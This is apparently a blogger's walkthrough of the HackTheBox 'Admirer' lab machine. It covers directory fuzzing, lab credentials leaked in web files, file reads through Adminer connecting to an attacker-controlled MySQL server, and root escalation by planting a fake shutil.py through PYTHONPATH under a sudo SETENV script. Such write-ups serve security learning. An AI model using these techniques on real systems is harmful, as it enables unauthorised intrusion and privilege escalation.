Welcome back to my latest walk through, this time we are tackling the Admirer box on HackTheBox. Lets jump right in!

As always, we start with an nmap scan!

sudo nmap -T4 -A -v -O 10.10.10.187

[...]
PORT   STATE    SERVICE VERSION
21/tcp open     ftp     vsftpd 3.0.3
22/tcp open     ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp filtered http
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
[...]


Three open ports, 21 (ftp), 22 (ssh) and 80 (http).

Navigate the web, we know that we have to start from here http://10.10.10.187/

It seems to be a slideshow for images, nothing else, some broken link like index.html, social link not configured and on the about page there's a form to send messages, but it comes back on the home after submit without any success or error message. Looking at the source I found this section of HTML code:

<section>
    <h2>Get in touch</h2>
    <form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! -->
        <div class="fields">
            <div class="field half">
                <input type="text" name="name" id="name" placeholder="Name" />
            </div>
            <div class="field half">
                <input type="text" name="email" id="email" placeholder="Email" />
            </div>
            <div class="field">
                <textarea name="message" id="message" rows="4" placeholder="Message"></textarea>
            </div>
        </div>
        <ul class="actions">
            <li><input type="submit" value="Send" class="primary" /></li>
            <li><input type="reset" value="Reset" /></li>
        </ul>
    </form>
</section>


Ok, there's an ftp service, is not specified on the nmap and probably the anonymous access is disabled, but I'd like to try anyway.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try$ ftp
ftp> open 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:in7rud3r): anonymous
530 Permission denied.
Login failed.


As expected. Ok, start to search hidden paths on the portal using dirb:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer$ dirb http://10.10.10.187

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat May  9 18:22:02 2020
URL_BASE: http://10.10.10.187/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------
[...]
+ http://10.10.10.187/robots.txt (CODE:200|SIZE:138)                                                                                          
[...]                                                                                                                                              
-----------------
END_TIME: Sat May  9 18:53:11 2020
DOWNLOADED: 32284 - FOUND: 3


This is the things that identify a good pentester (I'm not), you should think immediately about files like "robots.txt", anyway, luckily there are tools that think for you. Navigate the file and:

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir


Ok, new hints, but surprise, the http://10.10.10.187/admin-dir/ is forbidden. Don't worry, launch again the dirb, pointing this new folder.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer$ dirb http://10.10.10.187/admin-dir/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat May  9 19:07:19 2020
URL_BASE: http://10.10.10.187/admin-dir/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.187/admin-dir/ ----
                                                                                                                                              
-----------------
END_TIME: Sat May  9 19:15:06 2020
DOWNLOADED: 4612 - FOUND: 0


Mmmm, this is not good. A little sad, start to search for different exploits on the ftp or the ssh service, but nothing found and I'm forced to come back on the portal (and by the post on the forum I understand that the first solution to the CTF is here). After some time losing to turn around, finally, I read another post that turn-on a light in my mind, so I try to list different files extension.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer$ wfuzz -c --hc 404,403 -w /usr/share/dirb/wordlists/big.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt -u http://10.10.10.187/admin-dir/FUZZFUZ2Z

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.187/admin-dir/FUZZFUZ2Z
Total requests: 573132

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                       
===================================================================

000145543:   200        29 L     39 W     350 Ch      "contacts - .txt"                                                             
000152403:   200        11 L     13 W     136 Ch      "credentials - .txt"                                                          
000220915:   404        9 L      31 W     274 Ch      "forschung - .reg"                                                            
Fatal exception: Pycurl error 28: Operation timed out after 90000 milliseconds with 0 bytes received


Wooo... by the name it seems to be something interesting.

====================
=== contacts.txt ===
====================

##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb
=======================
=== credentials.txt ===
=======================

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!


It seems too simple, but, let me try with the ftp account:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try$ ftp
ftp> open 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:in7rud3r): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 


That's good. Search for something interesting again. To share with you also other trying that I made, the other credentials don't work.

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02 21:24 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03 21:20 html.tar.gz
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.01 secs (444.6043 kB/s)
ftp> bin
200 Switching to Binary mode.
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 4.05 secs (1.2422 MB/s)
ftp> 

Ok, found two files; the first one is the dump of the database, nothing so interesting inside, only the list of the images used for the slideshow on the home, but the seconds one, is the backup of the portal. Extract it...

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try$ tar -zxvf html.tar.gz 
assets/
assets/sass/
assets/sass/base/
assets/sass/base/_reset.scss
[...]
w4ld0s_s3cr3t_d1r/
w4ld0s_s3cr3t_d1r/credentials.txt
w4ld0s_s3cr3t_d1r/contacts.txt

...and give a look at the files...

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try/_Portal$ ls -la
total 36
drwxr-xr-x 6 in7rud3r in7rud3r 4096 May 10 15:19 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 May 10 15:19 ..
drwxr-x--- 6 in7rud3r in7rud3r 4096 Jun  6  2019 assets
drwxr-x--- 4 in7rud3r in7rud3r 4096 Dec  2 21:29 images
-rw-r----- 1 in7rud3r in7rud3r 4613 Dec  3 21:20 index.php
-rw-r----- 1 in7rud3r in7rud3r  134 Dec  1 22:31 robots.txt
drwxr-x--- 2 in7rud3r in7rud3r 4096 Dec  2 18:50 utility-scripts
drwxr-x--- 2 in7rud3r in7rud3r 4096 Dec  2 18:25 w4ld0s_s3cr3t_d1r
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try/_Portal$ ls -la utility-scripts/
total 24
drwxr-x--- 2 in7rud3r in7rud3r 4096 Dec  2 18:50 .
drwxr-xr-x 6 in7rud3r in7rud3r 4096 May 10 15:19 ..
-rw-r----- 1 in7rud3r in7rud3r 1795 Dec  2 18:48 admin_tasks.php
-rw-r----- 1 in7rud3r in7rud3r  401 Dec  1 23:28 db_admin.php
-rw-r----- 1 in7rud3r in7rud3r   20 Nov 29 20:32 info.php
-rw-r----- 1 in7rud3r in7rud3r   53 Dec  2 18:40 phptest.php
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try/_Portal$ ls -la w4ld0s_s3cr3t_d1r/
total 16
drwxr-x--- 2 in7rud3r in7rud3r 4096 Dec  2 18:25 .
drwxr-xr-x 6 in7rud3r in7rud3r 4096 May 10 15:19 ..
-rw-r----- 1 in7rud3r in7rud3r  350 Dec  2 18:25 contacts.txt
-rw-r----- 1 in7rud3r in7rud3r  175 Dec  2 08:24 credentials.txt

Nice, but let me check if I can identify cool files for us.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try$ sudo grep -iRl "passw" ./
[sudo] password for in7rud3r: 
./_Portal/assets/css/main.css
./_Portal/assets/sass/components/_form.scss
./_Portal/assets/js/util.js
./_Portal/assets/js/jquery.min.js
./_Portal/utility-scripts/admin_tasks.php
./_Portal/utility-scripts/db_admin.php
./_Portal/index.php

Well, avoid the style files and try to identify something in the other ones.

##### index.php

$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

Mmmm, this password is really strange and in fact, don't work, but I found something different from the credentials file, downloaded from the portal.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try/_Portal$ cat w4ld0s_s3cr3t_d1r/credentials.txt 
[Bank Account]
waldo.11
Ezy]m27}OREc$

This credential is not included in the files downloaded from the portal. Well, I wrote down about that, because at this moment it works nowhere (a huge number of rabbit holes). Well, this is a backup of the old website, but if something is still here, so try to navigate this new URL I found.

http://10.10.10.187/utility-scripts/ is forbidden, then, something here is present.

http://10.10.10.187/utility-scripts/db_admin.php is not found

http://10.10.10.187/utility-scripts/phptest.php is present, but not useful

The other two address could be interesting

This is the classical info retrieved from the php module (on the page http://10.10.10.187/utility-scripts/info.php).

And this seems to be a tool for the administrator user from the web on page http://10.10.10.187/utility-scripts/admin_tasks.php, but the most interesting features are disabled.

Well, I give a look at the code to understand if I can exploit it in something way.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try/_Portal$ cat utility-scripts/admin_tasks.php 
<html>
<head>
  <title>Administrative Tasks</title>
</head>
<body>
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  <?php
  // Web Interface to the admin_tasks script
  // 
  if(isset($_REQUEST['task']))
  {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {
      /*********************************************************************************** 
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  } 
  ?>

  <p>
  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>
</body>
</html>

I try re-enabling the controls on the page and forcing submitting that data, but, nothing happens. So, I come back to the other files.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try/_Portal$ cat utility-scripts/db_admin.php 
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

A password for the database that doesn't work; I'm still in a dead-end. Anyway, from the web tool for the admin, I can take additional info about the name of the user, I can see the list of users connected and I understand that one of the usernames is "waldo".

I'm a bit sad every time I need a hint from the forum, but I have to come back to read on it and I found this message:

User: Difficulty of foothold depends on if you know a specific tool related to databases. The machine name is a big hint.

Some times I think that this kind of know-how you have to know for past experience... anyway, I have another knowledge that can be useful and a friend by my side by the name google. Searching "admirer database" it suggests a correction:

I start to learn about that because I don't know it and after a few minutes, I know what I can do now.

Navigate the URL http://10.10.10.187/utility-scripts/adminer.php, and try the credentials that I found on the files listed before, but...

Really? I think it will be a long story again. Ok, let's go, search for exploits on this system.

Oh, "Serious Vulnerability"... it seems to be important.

Serious Vulnerability Discovered in Adminer database Administration Tool
Foregenix are warning all their partners this morning about a vulnerability discovered in the populardatabase administration tool Adminer[1], affecting versions up to and including v4.6.2.

Reading the article you'll understand that you can connect using the system on the remote machine on your personal local database, but, using the process on the remote machine, all the variables and action on the system files will be done on the files of the remote machine, so, if we can reach some interesting files from the admin database tool, we can obtain some additional information.

Well, I wont to install MySQL on my machine, so, I will go to use a docker container. I used this specific image https://hub.docker.com/r/mysql/mysql-server/, but lose a lot of time to understand the version and some other configuration on my machine and my container (I had a lot of issues about networking, permission and something else like this), anyway, finally, I found the right command to execute and use (in particular, don't use the latest version, but the 5.7).

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack$ sudo docker run -p 3306:3306/tcp -p33060:33060/tcp --name=mysql1 -d mysql/mysql-server:5.7
d06038e399d8c1a5328f6a06780134be0e29739b2b88ca8edcb19fd09893f62f

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack$ sudo docker logs mysql1 2>&1 | grep GENERATED
[Entrypoint] GENERATED ROOT PASSWORD: tovT0c#oDvAKEq@ggeJWIqmEj4K
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack$ docker exec -it mysql1 mysql -uroot -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.7.30

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'secret';
Query OK, 0 rows affected (0.00 sec)

mysql> create user 'in7rud3r'@'%' identified by 'in7rud3r';
Query OK, 0 rows affected (0.01 sec)

mysql> grant all privileges on *.* to in7rud3r@'%';
Query OK, 0 rows affected (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.00 sec)

mysql> create database hackthisdb;
Query OK, 1 row affected (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| hackthisdb         |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use hackthisdb;
Database changed
mysql> create table hacked (data varchar(1000));
Query OK, 0 rows affected (0.01 sec)

mysql> 

Well, on the script above I

  • launch the docker container with the MySQL instance
  • retrieve the password generated automatically for the root user from the log of the container as described on the docker hub portal
  • connect to the database and change immediate the password of the root user (every command you try to launch is blocked due to the "change password at first login" property set for the root user)
  • create a new user and give to him the privileges to connect from external IP (you'll understand step by step by yourself if you try to connect from the remote system)
  • create a new database with a table where to save the remote information (read all the article before to start, to don't have any surprises during the attack)

Now, try to connect to your local database using the remote instance of AdmiNer.

Well done, but now, if you try to take the file reported on the article you'll find nothing, then you have to target for something different file. I try with the known file on the root folder or on the etc, but from the message, it's quite clear that the process cannot access them. You have to understand then, where you are and what you can download from here. To do that, refer to something you know, like the files you found in the backup file of the portal you download before. I'm sure the robot.txt is present so, I start to go down the folders and in a (really) short I found it, so, now, I know where I'm located.

load data local infile '../robots.txt'
into table hackthisdb.hacked
fields terminated by '\n'

load data local infile '../index.php'
into table hackthisdb.hacked
fields terminated by '\n'

[...]
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
[...]

I reconnect with this new credential, hoping to have the possibility to find something interesting on the real database of the portal, or that I have the possibility to execute shell commands from the database SQL command, but I'm not so lucky.

I'm again on the dead-end, I need to think to the real nature of this box to unlock me; I can use this password in another way, and I have other two places where I can use it, the ftp and the ssh service.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/ftp-try$ ssh waldo@10.10.10.187
The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established.
ECDSA key fingerprint is SHA256:NSIaytJ0GOq4AaLY0wPFdPsnuw/wBUt2SvaCdiFM8xI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.187' (ECDSA) to the list of known hosts.
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Fri May 15 13:38:25 2020 from 10.10.14.251
waldo@admirer:~$ ls -la
total 32
drwxr-x--- 4 waldo waldo 4096 May 15 13:39 .
drwxr-xr-x 9 root  root  4096 Dec  2 17:11 ..
lrwxrwxrwx 1 waldo waldo    9 Nov 29 22:35 .bash_history -> /dev/null
-rw-r--r-- 1 waldo waldo  220 Nov 29 18:44 .bash_logout
-rw-r--r-- 1 waldo waldo 3526 Nov 29 18:44 .bashrc
drwx------ 2 waldo waldo 4096 May 15 12:54 .gnupg
lrwxrwxrwx 1 waldo waldo    9 Dec  2 17:34 .lesshst -> /dev/null
lrwxrwxrwx 1 waldo waldo    9 Nov 29 22:35 .mysql_history -> /dev/null
drwxr-xr-x 2 waldo waldo 4096 Apr 29 10:57 .nano
-rw-r--r-- 1 waldo waldo  675 Nov 29 18:44 .profile
-rw-r----- 1 root  waldo   33 May 15 11:50 user.txt
waldo@admirer:~$ cat user.txt
4******************************a

And here the first flag. Ok, I turn around for the others folder, to give a look around, but nothing particularly interesting comes out. So, I check what I can do with these credentials.

waldo@admirer:/tmp$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

With administrative privileges I can run this script, ok, give a look inside.

waldo@admirer:/tmp/not-this$ cat /opt/scripts/admin_tasks.sh 
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
[...]
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
[...]

Interesting seems to be like the other one I found on the portal's backup, but this seems to work. My attention is attracted by the point where is launched another script in python.

waldo@admirer:/tmp/not-this$ cat /opt/scripts/backup.py 
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Ok, the idea is to launch something instead of this script or change what this script launch, to execute something as an administrator that can be used as a benefit for us (like.. copy some interesting file). To be confortable and take benefit also from my tools, I prefer to write all I need on my machine and the upload on the target machine, so, to do that, as usual, I start a web server on my machine to allow the user on the remote machine to download files from it.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/sweb$ php -S 10.10.14.152:8888
PHP 7.3.15-3 Development Server started at Sat May 16 10:39:25 2020
Listening on http://10.10.14.152:8888
Document root is /home/in7rud3r/Dropbox/hackthebox/_10.10.10.187 - Admirer/attack/sweb
Press Ctrl-C to quit.

All things I need, I'll copy here and download from the remote server with the wget command. I have to understand how to substitute the file used from the backup python script, without changing it or without changing the file that it calls.

How to Import from Local Packages and Modules
Let’s start by creating an empty folder on our desktop called ‘example’. In there, we’ll create two empty directories, one we’ll call ‘scripts’ and the other can be called ‘pkgs’. Within the…

It seems this article is right for me.

Use PYTHONPATH to set the path to your packages

The most straightforward solution is to use the PYTHONPATH environment variable and set it equal to the path to your packages. This will allow you to create and save all of your packages in one location, and import them directly into your projects.

The backup.py script import the method make_archive from the shutil library. So if I create a shutil custom package, implement inside a method called make_archive, that accept three parameter (important) and do something I like, this will be executed as the root user.

waldo@admirer:/tmp/not-this$ cat shutil.py
import os

def make_archive(a, b, c):
        os.system("cp /root/root.txt /tmp/not-this/root.txt")

Something like this. Well, set the environment variable in order to point my custom directory...

export PYTHONPATH=/tmp/not-this/

...and cross the fingers. Well, I shame a little to say that I lose a lot of time to understand why the script continues to use the original library instead of mine; some times, the answer is simplest than you think... the environment variable is changed in my session, but when I launch the script with the sudo command, the environment variable used, probably, but for sure, is the other ones configured for the root user.

Eh eh... sorry... go ahead. Search on google how to do that and...

I try with the --prevent-env option, but it doesn't work anyway, so to be fast, set the specific variable and go on:

waldo@admirer:/tmp/not-this$ sudo --preserve-env=PYTHONPATH /opt/scripts/admin_tasks.sh 
sudo: option '--preserve-env' doesn't allow an argument
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-u user] file ...
waldo@admirer:/tmp/not-this$ sudo PYTHONPATH=/tmp/not-this /opt/scripts/admin_tasks.sh 

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/not-this$ ls -la
total 228
drwxr-xr-x 2 waldo waldo   4096 May 16 13:05 .
drwxrwxrwt 5 root  root    4096 May 16 13:03 ..
-rw------- 1 root  root      33 May 16 13:05 root.txt
-rw-r--r-- 1 waldo waldo     93 May 16 12:15 shutil.py

Good, but I see a thing that I think only now; the file is copied by the root user, so, I can't access to it. Change the script as follow and upload again:

waldo@admirer:/tmp/not-this$ cat shutil.py 
import os

def make_archive(a, b, c):
        os.system('cp /root/root.txt /tmp/not-this/root.txt && chown waldo /tmp/not-this/root.txt')

And try again:

waldo@admirer:/tmp/not-this$ sudo PYTHONPATH=/tmp/not-this /opt/scripts/admin_tasks.sh 

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/not-this$ ls -la
total 224
drwxr-xr-x 2 waldo waldo   4096 May 16 13:11 .
drwxrwxrwt 5 root  root    4096 May 16 13:11 ..
-rwxr-xr-x 1 waldo waldo 175038 May 16 10:50 linpeas.sh
-rwxr-xr-x 1 waldo waldo  34947 May 16 10:50 lse.sh
-rw------- 1 waldo root      33 May 16 13:11 root.txt
-rw-r--r-- 1 waldo waldo    131 May 16 13:09 shutil.py
waldo@admirer:/tmp/not-this$ cat root.txt 
a******************************c

Thanks for reading. See you on the next walkthrough!

The awesome image used in this article is called Monkey and was created by VAGO.